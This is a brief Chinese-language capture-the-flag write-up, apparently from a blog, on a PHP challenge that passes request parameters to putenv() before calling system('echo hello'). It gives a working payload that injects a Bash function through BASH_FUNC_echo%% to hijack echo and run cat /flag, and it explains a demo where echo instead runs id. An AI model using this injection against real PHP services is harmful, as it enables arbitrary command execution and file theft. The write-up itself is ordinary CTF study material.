bash -c 'echo hello': 启动一个新的 Bash 实例,执行 echo hello。由于环境变量中定义了 echo 函数,Bash 会优先执行该函数(id),而不是内置的 echo 命令。

效果: 当执行 echo hello 时,实际运行的是 id 命令,输出当前用户的信息。

  1. 分析题目:

PHP 代码通过 putenv() 设置环境变量,并调用 system('echo hello'),我们可以通过 $_REQUEST['envs'] 提交类似的环境变量来劫持 echo

envs[BASH_FUNC_echo%%]=() { cat /flag; }

payload解释:

​ 通过 BASH_FUNC_echo%% 注入 Bash 函数,劫持 echo 命令,执行 cat /flag

关于传参:

​ 使用 $_REQUEST['envs'] 提交环境变量,键为 BASH_FUNC_echo%%,值为 () { cat /flag; }

posted @ 2025-04-18 20:56  F0T0ne  阅读(258)  评论(1)    收藏  举报